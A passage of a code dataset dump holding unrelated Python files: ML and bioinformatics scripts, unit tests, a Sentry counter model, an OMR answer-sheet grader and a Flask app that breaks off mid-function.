'account_page_click',\n 'promo_banner_click', 'detail_wishlist_add', 'list_size_dropdown', \n 'closed_minibasket_click', 'checked_delivery_detail', \n 'checked_returns_detail', 'sign_in', 'saw_checkout', \n 'saw_sizecharts', 'saw_delivery', 'saw_account_upgrade',\n 'saw_homepage', 'device_mobile', 'device_computer', 'device_tablet',\n 'returning_user', 'loc_uk', 'ordered']\n\ndef predict(input_list):\n global version\n global col\n result = []\n\n print('pip freeze!')\n print('pip freeze!')\n print('pip freeze!')\n for entry in input_list:\n values = entry.replace(\", \", \",\").split(\",\")\n if values[0] == \"data\":\n # append values to features\n key = values[1]\n publish = values[2]\n ingest = values[3]\n diagnostic = \"\"\n values = [int(it) for it in values[4:]]\n\n # FIXME\n results = []\n\n print(\"len\", len(col), len(values))\n numpy_array = numpy.array(results)\n df = pandas.DataFrame(numpy_array, columns=col)\n\n correlation = df.corr()['ordered'].tolist()\n to_drop = []\n for i in range(len(correlation)):\n if correlation[i] < 0:\n to_drop.append(col[i])\n\n to_drop.append('ordered')\n predictors = df.drop(to_drop, axis=1)\n targets = df.ordered\n try: \n print(\"A:\")\n X_train, X_test, y_train, y_test = train_test_split(predictors, targets, test_size=.3)\n\n print(\"A1:\")\n classifier=GaussianNB()\n print(\"A2:\")\n classifier=classifier.fit(X_train,y_train)\n\n print(\"B:\")\n predictions=classifier.predict(X_test)\n\n print(\"C:\")\n predictors['propensity'] = classifier.predict_proba(predictors)\n accuracy = str(sklearn.metrics.accuracy_score(y_test, predictions))\n\n output = predictors.values.tolist()\n print(\"D:\")\n for val in output:\n val.insert(0, accuracy)\n\n print(\"E:\")\n resultX = [str(val[0]) for val in output]\n\n print(\"F:\", str(resultX))\n #return result\n except: \n print(\"except:\")\n #return[str(1.0) for _ in input_list]\n\n result.append(str(key) + \",\" + str(publish) + \",\" + str(ingest) + \",\" + version + \",\" + str(prediction[0]) + \",\" + diagnostic)\n else:\n raise NotImplementedError('Unexpected control', values[0])\n\n return result\n","sub_path":"retail/clickstream/job-gaussian/src/main/resources/python/gaussian_predict2.py","file_name":"gaussian_predict2.py","file_ext":"py","file_size_in_byte":4669,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"382925848","text":"from utilities import *\nimport random\nMCL_data = pickle.load(open('MCL_data11_18_2015v0.9.dict'))\npid = 'MCL041'\none_gene_path = '/scratch/users/bchen45/HLA_prediction/IEDB/test0/human_proteinome_oneline.str'\nonegenestr = pickle.load(open(one_gene_path,'r'))\nlen_one = len(onegenestr)\npath0 = 'secondary_prediction/'\nset_1 = []\nset_2 = []\nset_r = []\nfor type0 in ['MHC1','MHC2']:\n file_random = path0+type0+'random_protein.fasta'\n file_random0 = open(file_random,'w+')\n name0 = type0+'_frag'\n file_MHC1_name = path0+ pid+name0+'.fasta'\n file_out = open(file_MHC1_name,'w+')\n set0 = set(MCL_data[pid][name0])\n for x in set0:\n file_out.write('>pid\\n'+x+'\\n')\n rand0 = random.randint(0,len_one)\n neg0 = onegenestr[rand0:rand0+len(x)]\n file_random0.write('>pid\\n'+neg0+'\\n')\n file_out.close()\n file_random0.close()\n\n\n \n \n \n","sub_path":"scripts_post_MCL_data/make_scratch_input.py","file_name":"make_scratch_input.py","file_ext":"py","file_size_in_byte":887,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"232106974","text":"import numpy as np\n\n\nclass SimilarityCalculator:\n def __init__(self, dataset: np.ndarray, mu=0.5, sigma=0.2, a=10, b=-10):\n self.mu = mu\n self.sigma = sigma\n self.a = a\n self.b = b\n self.dataset = dataset\n\n def similarity_score(self, h1, h2):\n average_response = self._average_response(self.dataset)\n distinctive_score = self._distinctive_score(average_response)\n matched_features = SimilarityCalculator._match_features(h1, h2)\n weighted_distances = SimilarityCalculator._compute_weighted_distances(matched_features, distinctive_score)\n return self._calculate_similarity_from_distances(weighted_distances)\n\n @staticmethod\n def _average_response(dataset):\n x0 = dataset.shape[0] * dataset.shape[1]\n x1 = dataset.shape[2]\n return np.average(dataset.reshape(x0, x1), axis=0)\n\n def _distinctive_score(self, h):\n a = - ((h - self.mu) ** 2) / (2 * self.sigma ** 2)\n return np.exp(a)\n\n @staticmethod\n def _match_features(m1, m2):\n matched_features = []\n for i, mi in enumerate(m1):\n absolute_distance = m2 - mi\n norms = np.linalg.norm(absolute_distance, axis=1)\n min_idx = np.argmin(norms)\n matched_features.append((mi, m2[min_idx]))\n return matched_features\n\n @staticmethod\n def _compute_weighted_distances(feature_matches, distinctive_score):\n def feature_match_weighted_distance(match):\n wd = np.matmul(distinctive_score, (match[0] - match[1]))\n return np.linalg.norm(wd)\n\n return list(map(feature_match_weighted_distance, feature_matches))\n\n def _calculate_similarity_from_distances(self, distances):\n similarities = list(map(lambda sk: self.a + self.b * np.log(sk), distances))\n return np.sum(similarities)\n","sub_path":"src/sdav/similarity/SimilarityCalculator.py","file_name":"SimilarityCalculator.py","file_ext":"py","file_size_in_byte":1855,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"489926488","text":"from typing import Any, List, Tuple\nimport unittest\n\nimport numpy as np\nimport pandas as pd\nfrom ddt import data, ddt, unpack\n\nfrom data_processing import utils\n\n\n@ddt\nclass UtilsTest(unittest.TestCase):\n\n @data((np.array([0, 0, 3, 2, 1, 0, 3, 3, 3, 3, 2]),\n pd.DataFrame([[3, 5], [0, 3], [2, 2], [1, 1]],\n columns=['labels', 'count']),\n \"test multiple labels out of order\"),\n )\n @unpack\n def test_get_top_labels(self,\n y_train: np.array,\n expected: pd.DataFrame,\n test_description: str\n ) -> None:\n \"\"\"Tests that the labels are ordered in decreasing order\"\"\"\n count_df = utils.get_top_labels(y_train)\n self.assertTrue(count_df.equals(expected), test_description)\n\n @data((np.array([[0, 0, 0], [0, 0, 1], [0, 1, 0], [0, 1, 1], [1, 0, 0],\n [1, 0, 1]]),\n np.array([0, 3, 2, 0, 3, 3]),\n pd.DataFrame([[3, 3], [0, 2], [2, 1]], columns=['labels', 'count']),\n 2, np.array([[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 0, 0], [1, 0, 1]]),\n np.array([0, 3, 0, 3, 3]),\n \"Remove single element\"),\n )\n @unpack\n def test_get_top_n_labels(self,\n x_train: np.array,\n y_train: np.array,\n label_counts_df: pd.DataFrame,\n n_labels: int,\n expected_x: np.array,\n expected_y: np.array,\n test_description: str\n ) -> None:\n \"\"\"Tests that the labels are ordered in decreasing order\"\"\"\n x, y = utils.get_top_n_labels(x_train, y_train, label_counts_df, n_labels)\n self.assertTrue(np.array_equal(x, expected_x), test_description)\n self.assertTrue(np.array_equal(y, expected_y), test_description)\n\n @data((np.array([[0, 0], [0, 1], [1, 0], [1, 1]]), np.array([0, 0, 1, 2]),\n [1], np.array([[0, 0], [0, 1], [1, 1]]), np.array([0, 0, 2]),\n \"Test removal of single data element\"),\n (np.array([[0, 0], [0, 1], [1, 0], [1, 1]]), np.array([0, 0, 1, 2]),\n [], np.array([[0, 0], [0, 1], [1, 0], [1, 1]]),\n np.array([0, 0, 1, 2]),\n \"Test no filter\"),\n )\n @unpack\n def test_filter_data_based_on_labels(self,\n x: np.array,\n y: np.array,\n labels_to_filter: List[int],\n expected_x: np.array,\n expected_y: np.array,\n test_description: str\n ):\n \"\"\"Tests that the correct labels are removed\"\"\"\n x_filtered, y_filtered = (utils\n .filter_data_based_on_labels(x,\n y,\n labels_to_filter)\n )\n self.assertTrue(np.array_equal(x_filtered, expected_x),\n test_description + \" x\")\n self.assertTrue(np.array_equal(y_filtered, expected_y),\n test_description + \" y\")\n\n @data((np.array([0, 0, 3, 2, 1, 0, 3, 3, 3, 3, 2]),\n pd.DataFrame([[3, 5], [0, 3], [2, 2], [1, 1]],\n columns=['labels', 'count']),\n \"test multiple labels out of order\"),\n )\n @unpack\n def test_get_top_labels(self,\n y_train: np.array,\n expected: pd.DataFrame,\n test_description: str\n ) -> None:\n \"\"\"Tests that the labels are ordered in decreasing order\"\"\"\n count_df = utils.get_top_labels(y_train)\n self.assertTrue(count_df.equals(expected), test_description)\n\n\nif __name__ == \"__main__\":\n unittest.main()","sub_path":"data_processing/utils_test.py","file_name":"utils_test.py","file_ext":"py","file_size_in_byte":4215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"168243715","text":"\"\"\"\nsentry.models.counter\n~~~~~~~~~~~~~~~~~~~~~\n\n:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.\n:license: BSD, see LICENSE for more details.\n\"\"\"\n\nfrom __future__ import absolute_import\n\nfrom django.db import connection\n\nfrom sentry.db.models import (\n FlexibleForeignKey, Model, sane_repr, BoundedBigIntegerField\n)\nfrom sentry.utils import db\n\n\nclass Counter(Model):\n \"\"\"\n A ReleaseFile is an association between a Release and a File.\n\n The ident of the file should be sha1(name) and must be unique per release.\n \"\"\"\n __core__ = False\n\n project = FlexibleForeignKey('sentry.Project', unique=True)\n value = BoundedBigIntegerField()\n\n __repr__ = sane_repr('project')\n\n class Meta:\n app_label = 'sentry'\n db_table = 'sentry_projectcounter'\n\n @classmethod\n def increment(cls, project, delta=1):\n \"\"\"Increments a counter. This can never decrement.\"\"\"\n return increment_project_counter(project, delta)\n\n\ndef increment_project_counter(project, delta=1):\n \"\"\"This method primarily exists so that south code can use it.\"\"\"\n if delta <= 0:\n raise ValueError('There is only one way, and that\\'s up.')\n\n cur = connection.cursor()\n try:\n if db.is_postgres():\n cur.execute('''\n select sentry_increment_project_counter(%s, %s)\n ''', [project.id, delta])\n return cur.fetchone()[0]\n elif db.is_sqlite():\n value = cur.execute('''\n insert or ignore into sentry_projectcounter\n (project_id, value) values (%s, 0);\n ''', [project.id])\n value = cur.execute('''\n select value from sentry_projectcounter\n where project_id = %s\n ''', [project.id]).fetchone()[0]\n while 1:\n cur.execute('''\n update sentry_projectcounter\n set value = value + %s\n where project_id = %s;\n ''', [delta, project.id])\n changes = cur.execute('''\n select changes();\n ''').fetchone()[0]\n if changes != 0:\n return value + delta\n elif db.is_mysql():\n cur.execute('''\n insert into sentry_projectcounter\n (project_id, value)\n values (%s, @new_val := %s)\n on duplicate key\n update value = @new_val := value + %s;\n select @new_val;\n ''', [project.id, delta, delta])\n return cur.fetchone()[0]\n else:\n raise AssertionError(\"Not implemented database engine path\")\n finally:\n cur.close()\n","sub_path":"src/sentry/models/counter.py","file_name":"counter.py","file_ext":"py","file_size_in_byte":2773,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"419250691","text":"# Project Euler - 001\nimport timeit as t\n\n\n\"\"\"\nNumber of divisors of x less than or equal to n is n//x.\nx = 3, n = 14 => 14//3 = 4 (3,6,9,12) Factoring x out, we get 3*(1,2,3,4).\nIf we want the sum, we can apply the n*(n+1)//2 formula and multiply by x\nin the end.\nSince 15 = 3*5, it's multiples get counted twice, so we subtract them using\nthe inclusion–exclusion principle. Finishes instantly.\n\"\"\"\n\n\ndef solution():\n def sum_multiples(x, n):\n mul = n // x\n return x * (mul * (mul + 1) // 2)\n limit = 1000\n a, b, c = (sum_multiples(x, limit - 1) for x in [3, 5, 15])\n return a + b - c\n\n\n# Benchmarks\nprint(\"Timing 1 run.\")\nprint(\"Inclusion–exclusion principle:\",\n t.timeit(solution, number=1), \"seconds\")\nprint(\"Answer:\", solution())\n","sub_path":"001 - 100/P001.py","file_name":"P001.py","file_ext":"py","file_size_in_byte":770,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"166328118","text":"import unittest\n\nfrom lib.linkedlist import LinkedList\nfrom problem_3 import deleteMiddle\n\nclass TestDeleteMiddle(unittest.TestCase):\n\n def test_three_elements(self):\n three_elem = LinkedList()\n three_elem.add(1)\n three_elem.add(2)\n three_elem.add(3)\n node = three_elem.root.next\n deleteMiddle(node)\n\n result = LinkedList()\n result.add(1)\n result.add(3)\n\n self.assertEqual(result, three_elem)\n\n def test_four_elements(self):\n four_elem = LinkedList()\n four_elem.add(1)\n four_elem.add(2)\n four_elem.add(3)\n four_elem.add(4)\n\n node = four_elem.root.next.next\n deleteMiddle(node)\n\n result = LinkedList()\n result.add(1)\n result.add(2)\n result.add(4)\n\n self.assertEqual(result, four_elem)\n\n def test_different_nums(self):\n diff_nums = LinkedList()\n diff_nums.add(3)\n diff_nums.add(4)\n diff_nums.add(2)\n diff_nums.add(1)\n diff_nums.add(7)\n\n node = diff_nums.root.next.next\n deleteMiddle(node)\n\n result = LinkedList()\n result.add(3)\n result.add(4)\n result.add(1)\n result.add(7)\n self.assertEqual(result, diff_nums)\n","sub_path":"Chapter2/test_problem_3.py","file_name":"test_problem_3.py","file_ext":"py","file_size_in_byte":1269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"156948568","text":"\"\"\"\nZoneLoad class - post-process zone load data\nand form it into a pandas dataframe\n\"\"\"\n\ntry:\n import pandas as pd\nexcept ImportError:\n pd = None\n print('pandas is not installed')\n\n\nclass ZoneLoad:\n def __init__(self, load_profile):\n \"\"\"\n Construct zoneload class\n\n :param load_profile: data returned from zone_load api call\n \"\"\"\n # reform the dict\n index_list = list()\n self._cooling_unit = ''\n self._heating_unit = ''\n self._cooling_density_unit = ''\n self._heating_density_unit = ''\n data = list()\n for d_dict in load_profile:\n data_dict = dict()\n if len(d_dict.keys()) == 1:\n continue\n index_list.append(d_dict['zone_name'].upper())\n if self._cooling_unit == '':\n self._cooling_unit = d_dict['cooling_unit']\n if self._heating_unit == '':\n self._heating_unit = d_dict['heating_unit']\n if self._heating_density_unit == '':\n self._heating_density_unit = d_dict['heating_load_density_unit']\n if self._cooling_density_unit == '':\n self._cooling_density_unit = d_dict['cooling_load_density_unit']\n # remove name and units from the dict\n data_dict['heating_load'] = d_dict['heating_load']\n data_dict['heating_peak_load_time'] = d_dict['heating_peak_load_time']\n data_dict['cooling_load'] = d_dict['cooling_load']\n data_dict['cooling_peak_load_time'] = d_dict['cooling_peak_load_time']\n data_dict['heating_load_density'] = d_dict['heating_load_density']\n data_dict['cooling_load_density'] = d_dict['cooling_load_density']\n data.append(data_dict)\n self._df = pd.DataFrame(data, index=index_list)\n\n @property\n def cooling_load_unit(self):\n return self._cooling_unit\n\n @property\n def heating_load_unit(self):\n return self._heating_unit\n\n @property\n def cooling_load_density_unit(self):\n return self._cooling_density_unit\n\n @property\n def heating_load_density_unit(self):\n return self._heating_density_unit\n\n def get_df(self):\n \"\"\"get the dataframe\"\"\"\n return self._df\n\n def get_zone_heat_load(self, zone):\n zone_name = zone.upper()\n return self._df.at[zone_name, 'heating_load']\n\n def get_zone_cool_load(self, zone):\n zone_name = zone.upper()\n return self._df.at[zone_name, 'cooling_load']\n\n def get_zone_heat_load_time(self, zone):\n zone_name = zone.upper()\n return self._df.at[zone_name, 'heating_peak_load_time']\n\n def get_zone_cool_load_time(self, zone):\n zone_name = zone.upper()\n return self._df.at[zone_name, 'cooling_peak_load_time']\n","sub_path":"BuildSimHubAPI/postprocess/zone_load.py","file_name":"zone_load.py","file_ext":"py","file_size_in_byte":2816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"400295838","text":"import linecache\nimport os\npath = \"results/\"\nresult = []\nfor root, dir, files in os.walk(path):\n\tfor file in files:\n\t\tprint(\"Get last line of \",file)\n\t\tif file.endswith(\".txt\"):\n\t\t\tfile_path = os.path.join(path,file)\n\t\t\ttarget = linecache.getline(file_path,18)\n\t\t\tprint(\"target:\",target)\n\t\t\tlatency = target.split(\",\")[-1]\n\t\t\tresult.append(int(latency))\n\nprint(\"RESULTs:\",result)\n","sub_path":"c_2.py","file_name":"c_2.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587852218","text":"from django.urls import path\nfrom . import views\nfrom rest_framework.authtoken.views import obtain_auth_token\n\nurlpatterns = [\n path(\"\", views.index),\n path('create', views.create),\n path(\"login\", obtain_auth_token),\n path(\"signup\", views.api_signup),\n path('store', views.CreateBook.as_view()),\n path('list', views.ListBook.as_view()),\n path('delete/', views.delete),\n path('update/', views.update),\n path('', views.CrudBook.as_view()),\n]\n","sub_path":"store/api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"427139389","text":"# -*- coding: utf-8 -*-\n# MegEngine is Licensed under the Apache License, Version 2.0 (the \"License\")\n#\n# Copyright (c) 2014-2020 Megvii Inc. All rights reserved.\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nimport numpy as np\nimport pytest\n\nimport megengine as mge\nimport megengine._internal as mgb\nfrom megengine.core import tensor\nfrom megengine.test import assertTensorClose\n\n\ndef test_recoverable():\n a = tensor()\n b = tensor()\n a_np = np.random.random((4, 3)).astype(\"float32\")\n b_np = np.random.random((3, 7)).astype(\"float32\")\n a.set_value(a_np)\n b.set_value(b_np)\n\n # Do some normal computation.\n a2 = a * 2\n ab = a @ b\n\n # Raise a computation error.\n with pytest.raises(mgb.MegBrainError):\n _ = a * b\n\n # Variable a2 and ab should be still usable after error happened.\n assertTensorClose(a2.numpy(), a_np * 2)\n assertTensorClose(ab.numpy(), a_np @ b_np)\n\n # Should allow computation as well.\n ab2 = ab ** 2\n assertTensorClose(ab2.numpy(), (a_np @ b_np) ** 2)\n","sub_path":"python_module/test/unit/core/test_recoverable.py","file_name":"test_recoverable.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"478775228","text":"'''\nCreated on Nov 8, 2012\n\n@author: Wighton\n'''\n\nfrom Planner import *\nfrom Renderer import *\n\nplanner = Planner(500,500)\n\nplanner.loadObstacles(open(\"/Users/Wighton/Documents/Aptana_Workspace/MotionPlanner/obstacles\", \"r\"));\nplanner.loadRobot(open(\"/Users/Wighton/Documents/Aptana_Workspace/MotionPlanner/robot\", \"r\"));\nplanner.getRoadmap()\n\nrenderer = Renderer(700, 700)\nrenderer.addSceneObject(planner)\n\nrenderer.start()","sub_path":"Main.py","file_name":"Main.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"385539357","text":"from tareas.configuracion import *\nfrom tareas.excepciones.discapacidad_error import DiscapacidadError\nfrom requests.status_codes import codes\nfrom tareas.api.base_api import BaseApi\n\n\nclass CargaMasivaApi(BaseApi):\n recurso_obtener_registros = \"archivos/%s/registros\"\n recurso_registros_validos = \"registrosValidos\"\n recurso_archivos_validos = \"archivosValidos\"\n recurso_registros_errores = \"registrosErrores\"\n recurso_registros_procesados = \"archivos/registrosEnProceso/%s\"\n recurso_actualizar_discapacidad = \"matriculados\"\n\n def __init__(self):\n super(CargaMasivaApi, self).__init__()\n\n def obtener_archivo_por_id(self, archivo_id):\n url = DOMINIO_CARGA_MASIVA + \\\n self.recurso_obtener_registros % archivo_id\n return self.get(url, timeout=20)\n\n def agregar_registro_error(self, registro_id, error_id):\n url = DOMINIO_CARGA_MASIVA + self.recurso_registros_errores\n registro_error = {\n 'registroId': registro_id,\n 'error': {'id': error_id}\n }\n return self.post(url, json=registro_error)\n\n def guardar_registro_estado(self, registro_id):\n url = DOMINIO_CARGA_MASIVA + self.recurso_registros_validos\n registro_sin_estado = {\n 'registroId': registro_id\n }\n return self.post(url, json=registro_sin_estado)\n\n def guardar_estado_archivo(self, archivo_id):\n url = DOMINIO_CARGA_MASIVA + self.recurso_archivos_validos\n archivo_sin_estado = {\n 'archivoId': archivo_id\n }\n return self.post(url, json=archivo_sin_estado)\n\n def evaluar_estado_archivo(self, archivo_id):\n url = DOMINIO_CARGA_MASIVA + \\\n self.recurso_registros_procesados % archivo_id\n return self.get(url)\n\n def actualizar_discapacidad(self, registro_id):\n url = DOMINIO_CARGA_MASIVA + \\\n self.recurso_actualizar_discapacidad\n registro_discapacidad = {\n 'registroId': registro_id\n }\n respuesta = self.put(url, json=registro_discapacidad)\n if(respuesta.status_code == codes.OK):\n return True\n else:\n raise DiscapacidadError(\n ERROR_ID_SERVICIO_DISCAPACIDAD_NO_DISPONIBLE)\n","sub_path":"tareas/api/carga_masiva_api.py","file_name":"carga_masiva_api.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"315168600","text":"import os\r\nimport sys\r\nimport string\r\nimport random\r\nsys.path.insert(1, os.path.join(sys.path[0], '..'))\r\nfrom gva.utils.trace_blocks import TraceBlocks\r\nfrom gva.utils.json import parse, serialize\r\ntry:\r\n from rich import traceback\r\n traceback.install()\r\nexcept ImportError: # pragma: no cover\r\n pass\r\n\r\ndef random_string(length):\r\n return ''.join(random.choice(string.hexdigits) for i in range(length))\r\n\r\n\r\ndef test_hashes():\r\n\r\n data_hashes = []\r\n data_hashes.append(random_string(32))\r\n data_hashes.append(random_string(32))\r\n\r\n tb = TraceBlocks()\r\n tb.add_block(data_hash=data_hashes[0])\r\n tb.add_block(data_hash=data_hashes[1])\r\n blocks = parse(str(tb))\r\n\r\n previous_block = ''\r\n\r\n for index, block in enumerate(blocks):\r\n \r\n if index > 0: # the first block is a seed - it looks different\r\n\r\n # check the data is being written as expected\r\n assert block.get('data_hash') == data_hashes[index - 1]\r\n \r\n # Check the prev hash\r\n rehash = tb.hash(previous_block)\r\n assert rehash == block.get('previous_block_hash')\r\n\r\n # Check the proof - the proof is when the number prepended to the\r\n # previous block's hash and reshashed resultant hash ends with \r\n # either 0 or 5.\r\n reproof = tb.hash(''.join([block.get('proof',''), block.get('previous_block_hash', '')]))\r\n assert reproof[-1] in ['0', '5'], reproof\r\n\r\n previous_block = block\r\n\r\n print(type(serialize(tb.blocks)))\r\n\r\nif __name__ == \"__main__\":\r\n test_hashes()\r\n\r\n print('okay')\r\n","sub_path":"tests/test_tracing.py","file_name":"test_tracing.py","file_ext":"py","file_size_in_byte":1628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"36046575","text":"from imutils.perspective import four_point_transform\nfrom imutils import contours\nimport numpy as np\nimport imutils\nimport cv2\n\n\n\n\n\nANSWER_KEY = {}\noutput={}\nascii_conv ={0:'A',1:'B',2:'C',3:'D',4:'E',5:'F'}\nqc = 0\nfilled_circles_contours = list()\n\n#image = cv2.imread(\"/home/prakash/projects/eduscanner-debug/web/actual.jpg\")\nimage = cv2.imread(\"/home/prakash/Downloads/Scan123.jpg\")\n\nkernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5,5))\n\nimg_erosion = cv2.erode(image, kernel, iterations=1)\nimg_dilation = cv2.dilate(image, kernel, iterations=1)\n\n#print(image.shape())\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\nblurred = cv2.GaussianBlur(gray, (5, 5), 0)\nedged = cv2.Canny(blurred, 75, 200)\ncv2.imwrite('edged.jpg', edged)\n\n_,cnts,hierarchy = cv2.findContours(edged.copy(), cv2.RETR_EXTERNAL,cv2.CHAIN_APPROX_SIMPLE)\nprint(len(cnts))\n#cnts = [cnts[idx] for idx, val in enumerate(hierarchy[0]) if val[3] == -1]\n#cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n\n\n#print(len(cnts))\n#print(type(cnts))\n\ndocCnt = []\nif len(cnts) > 0:\n cnts = sorted(cnts, key=cv2.contourArea, reverse=True)\n\n for c in cnts:\n peri = cv2.arcLength(c, True)\n approx = cv2.approxPolyDP(c, 0.02 * peri, True)\n\n if len(approx) == 4:\n docCnt.append(approx)\n\ndocCnt=contours.sort_contours(docCnt, method=\"left-to-right\")[0]\ndocCnt = sorted(docCnt,key= lambda docCnt : cv2.contourArea(docCnt),reverse=True)\n\nboxes=docCnt[0:2]\n\nbox = 0\nfor b in boxes:\n #print(box);\n print(b.shape)\n _,_,_,height = cv2.boundingRect(b)\n print(height)\n paper = four_point_transform(image, b.reshape(4,2))\n cv2.imwrite('actual'+str(box)+'.jpg', paper)\n warped = cv2.cvtColor(paper, cv2.COLOR_BGR2GRAY)\n warped = cv2.GaussianBlur(warped, (5, 5), 0)\n #warped = cv2.adaptiveThreshold(warped, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 21, 7)\n cv2.imwrite('warped'+str(box)+'.jpg', warped)\n #otsu = cv2.adaptiveThreshold(warped, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY_INV ,11,2)\n ret3,otsu = cv2.threshold(warped, 0, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n\n # kernel = cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (5, 5))\n # im = np.zeros(otsu.shape, dtype=np.uint8)\n # im[50:, 50:] = 255\n # otsu = cv2.dilate(im, kernel, iterations=1)\n\n cv2.imwrite('otsu' + str(box) + '.jpg', otsu)\n\n _,cnts,hire = cv2.findContours(otsu.copy(), cv2.RETR_TREE,cv2.CHAIN_APPROX_NONE)\n #cnts = [cnts[idx] for idx, val in enumerate(hire[0]) if val[3] !=-1]\n #cnts = cnts[0] if imutils.is_cv2() else cnts[1]\n\n print(len(cnts))\n # cv2.drawContours(paper, cnts, -1, (0, 255, 0), thickness=1)\n # cv2.imwrite('paper'+str(box)+'.jpg',paper)\n #print(type(cnts))\n\n questionCnts = []\n\n for c in cnts:\n (x, y, w, h) = cv2.boundingRect(c)\n\n ar = w / float(h)\n #print(w,h,ar)\n if w >= 70 and h >= 70 and ar >= 0.8 and ar <= 1.2:\n print(w, h, ar)\n\n questionCnts.append(c)\n\n qc=qc+len(questionCnts)\n if (len(questionCnts)<2):\n continue\n print(\"questoind found \"+str(qc))\n questionCnts = contours.sort_contours(questionCnts,method=\"top-to-bottom\")[0]\n cv2.drawContours(paper, questionCnts, -1, (0, 0, 255), thickness=1)\n cv2.imwrite('paper'+str(box)+'.jpg',paper)\n pixels = []\n \n for (q, i) in enumerate(np.arange(0, len(questionCnts), 4)):\n cnts = contours.sort_contours(questionCnts[i:i + 4])[0]\n for (j, c) in enumerate(cnts):\n mask = np.zeros(otsu.shape, dtype=\"uint8\")\n cv2.drawContours(mask, [c], -1, 1, -1)\n mask = cv2.bitwise_and(otsu, otsu, mask=mask)\n total = cv2.countNonZero(mask)\n (x, y, w, h) = cv2.boundingRect(c)\n area=w*h\n white_ratio = float(total) / area\n\n if white_ratio >0.65:\n filled_circles_contours.append(c)\n print(cv2.boundingRect(c))\n print(j)\n\n box = +1\n \n\nprint(\"filled bubbles found are \"+str(len(filled_circles_contours)))\nprint(\"questoind found \"+str(qc))\ncv2.drawContours(paper, filled_circles_contours, -1, (255, 0, 0), thickness=1)\n#cv2.imwrite('paper'+str(box)+'.jpg',paper)","sub_path":"src/grader2.py","file_name":"grader2.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"240351146","text":"from flask import render_template, flash, redirect, url_for, request\nfrom flask_login import login_user, logout_user, current_user, login_required\nfrom werkzeug.urls import url_parse\nfrom app import app, db\nfrom app.forms import LoginForm,RegistrationForm,VoziloForm,ServisForm,VlasnistvoForm,ChoiceVozilo\nfrom app.forms import MajstorServisPretragaForm,VoziloServisPretragaForm, VozilaPregledForm\nfrom app.models import Korisnik,Vozilo,Servis,Vlasnistvo\nfrom app.tables import ResultsVoziloServis, ResultsMajstorServis, ResultVozila\n\n# === Routes for AutoFlask application ===\n\n@app.route('/')\n@app.route('/index')\n@login_required\ndef index():\n \"\"\"\n Ovo je View funkcija za potrebe realizacije aplikativne rute /index.\n \"\"\"\n return render_template('index.html', title='Home')\n\n\n@app.route('/pristup', methods=['GET', 'POST'])\ndef login():\n \"\"\"\n Ovo je View funkcija za potrebe realizacije aplikativne rute /index.\n \"\"\"\n if current_user.is_authenticated:\n return redirect(url_for('index'))\n form = LoginForm()\n if form.validate_on_submit():\n user = Korisnik.query.filter_by(korisnik_login=form.username.data).first()\n if user is None or not user.check_password(form.password.data):\n flash('Pogresan korisnicki nalog ili lozinka')\n return redirect(url_for('pristup'))\n login_user(user, remember=form.remember_me.data)\n next_page = request.args.get('next')\n if not next_page or url_parse(next_page).netloc != '':\n next_page = url_for('index')\n return redirect(next_page)\n return render_template('pristup.html', title='Sign In', form=form)\n\n\n@app.route('/logout')\ndef logout():\n logout_user()\n return redirect(url_for('index'))\n\n\n@app.route('/register', methods=['GET', 'POST'])\ndef register():\n if current_user.is_authenticated:\n return redirect(url_for('login'))\n form = RegistrationForm()\n if form.validate_on_submit():\n user = Korisnik(ime=form.ime.data,prezime=form.prezime.data,adresa_ptt=form.adresa_ptt.data, adresa_mesto=form.adresa_mesto.data, adresa_ulica_broj=form.adresa_ulica_broj.data, korisnik_email=form.korisnik_email.data,id_korisnik_tip=form.id_korisnik_tip.data, korisnik_login=form.korisnik_login.data,korisnik_pass=form.korisnik_pass.data)\n user.set_password(form.korisnik_pass.data)\n db.session.add(user)\n db.session.commit()\n flash('Bravo, upravo ste postali registrovani korisnik!')\n return redirect(url_for('login'))\n return render_template('register.html', title='Register', form=form)\n\n\n@app.route('/vozilo', methods=['GET', 'POST'])\ndef vozilo():\n if not current_user.is_authenticated:\n return redirect(url_for('login'))\n results = 